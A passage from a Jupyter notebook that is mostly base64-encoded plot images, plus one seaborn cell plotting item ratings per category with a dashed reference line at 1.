ryw+iPfz\n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\n8v9XwFJx4bL9pgAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10c3cc390>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "f, axes = plt.subplots(ncols=len(category_list), figsize=(15, 3), sharey=True)\n", "plt.locator_params(nbins=5)\n", "first = True\n", "\n", "for ax, category in zip(axes, category_list):\n", " ax.hlines(y=1, xmin=-1, xmax=4, linestyles='dashed', colors='green')\n", " g = sns.pointplot(x='item', y='rating', ax=ax, jitter=True, alpha=.4, \n", " ci=95, palette=['darkgray'],\n", " data=df.loc[df.category == category])\n", " g.set_title(category)\n", " g.set_ylabel('')\n", " g.set_xlabel('')\n", " g.set_xticklabels(df.loc[df.category == category].item.unique(), rotation=90)\n", " \n", "f.text(0.07, 0.5, 'Rating', va='center', rotation='vertical', fontsize='xx-large')\n", "sns.despine()" ] }, { "cell_type": "code", "execution_count": 34, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.text.Text at 0x115b0b5d0>" ] }, "execution_count": 34, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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